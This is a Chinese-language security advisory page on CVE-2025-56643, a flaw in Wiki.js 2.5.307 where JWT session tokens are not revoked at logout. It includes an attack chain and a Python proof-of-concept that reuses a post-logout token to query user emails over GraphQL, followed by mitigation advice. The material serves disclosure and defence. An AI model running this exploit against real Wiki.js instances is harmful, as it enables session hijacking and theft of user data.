IPBUF安全漏洞报告
English
CVE-2025-56643 CVSS 9.1 严重

Wiki.js 2.5.307 JWT会话令牌登出后未撤销漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-56643
漏洞类型
认证绕过/会话管理缺陷
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Requarks Wiki.js

相关标签

认证绕过JWT会话管理Wiki.js令牌撤销GraphQLCVE-2025-56643

漏洞概述

CVE-2025-56643是Requarks Wiki.js 2.5.307版本中存在的一个严重安全漏洞。该漏洞源于系统在进行用户登出操作时,未能正确撤销或使已颁发的JWT(JSON Web Token)会话令牌失效。具体而言,当用户成功登录后,系统会生成一个JWT token用于后续的身份验证请求。然而,当用户执行登出操作时,系统仅删除了客户端本地的会话状态,但并未在服务端将该token标记为无效或将其加入令牌黑名单。这导致了一个严重的安全问题:即使在用户登出后,之前颁发的JWT token仍然保持有效状态,攻击者如果获取到这些未过期的令牌,仍然可以利用它们访问系统资源,执行未授权的操作。该漏洞同时影响系统的GraphQL端点和登出机制,破坏了会话的完整性和安全性。在实际攻击场景中,如果用户的设备被恶意软件感染、token被窃取,或者攻击者通过中间人攻击获取到有效的JWT token,攻击者可以在用户不知情的情况下长期维持对系统的访问权限,窃取敏感信息或进行其他恶意操作。由于无需用户交互且无需认证即可利用此漏洞,其CVSS评分高达9.1,属于严重级别。

技术细节

该漏洞的技术根源在于Wiki.js的JWT令牌生命周期管理机制存在缺陷。在标准的Web应用安全实践中,当用户登出时,服务器应当执行以下操作之一来确保会话安全:(1) 将令牌加入撤销列表/黑名单;(2) 在令牌中设置明确的过期时间并在验证时检查;(3) 使用短期令牌并配合刷新机制。然而,Wiki.js 2.5.307版本在实现登出功能时,仅在客户端清除了会话状态,服务端并未执行任何令牌撤销操作。攻击者可以通过以下步骤利用此漏洞:首先,使用有效凭证登录系统获取JWT token;然后,在目标用户登出后,使用之前获取的token继续向GraphQL API发送请求;由于服务端验证token时仅检查签名和过期时间,而不会查询撤销列表,因此请求会被成功处理。漏洞影响范围包括所有需要JWT认证的API端点,特别是GraphQL endpoint。攻击者可以利用此漏洞绕过正常的会话终止机制,实现对系统的长期未授权访问。修复方案需要在服务端实现令牌撤销机制,如使用Redis等缓存存储已撤销的令牌ID,或采用令牌版本号机制。

攻击链分析

STEP 1
步骤1
攻击者获取有效JWT token:通过正常登录、社会工程学或恶意软件从目标用户处获取有效的JWT令牌
STEP 2
步骤2
等待目标用户登出:攻击者等待或诱导用户登出系统,此时服务端未撤销token
STEP 3
步骤3
使用过期token访问系统:攻击者使用之前获取的JWT token向GraphQL API或受保护的端点发送请求
STEP 4
步骤4
绕过会话终止:服务端验证token签名和过期时间通过后放行请求,实现未授权访问
STEP 5
步骤5
持久化访问:攻击者长期使用窃取的token访问系统,窃取数据或执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target Wiki.js instance TARGET_URL = "http://target-server:3000" # Step 1: Normal login to get JWT token login_url = f"{TARGET_URL}/login" login_data = { "email": "[email protected]", "password": "password123" } response = requests.post(login_url, json=login_data) if response.status_code == 200: jwt_token = response.json().get("token") print(f"[+] Obtained JWT token: {jwt_token}") else: print("[-] Login failed") exit(1) # Step 2: User logs out (token remains valid) # Simulating logout - token is not invalidated on server side print("[*] Target user logs out...") # Step 3: Use the same token after logout (exploit) graphql_url = f"{TARGET_URL}/graphql" headers = { "Authorization": f"Bearer {jwt_token}", "Content-Type": "application/json" } # GraphQL query to verify token still works query = { "query": "{ users { id email name } }"} response = requests.post(graphql_url, headers=headers, json=query) if response.status_code == 200: result = response.json() if "data" in result: print(f"[+] Exploit successful! Token still valid after logout") print(f"[+] Retrieved user data: {json.dumps(result, indent=2)}") else: print(f"[-] Unexpected response: {result}") else: print(f"[-] Request failed with status: {response.status_code}")

影响范围

Requarks Wiki.js 2.5.307

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:启用应用层防火墙限制可疑访问;增加日志监控以检测异常token使用行为;强制用户定期重新登录;实施IP白名单或地理访问限制;考虑暂时禁用JWT认证改用会话cookie+服务端会话存储模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表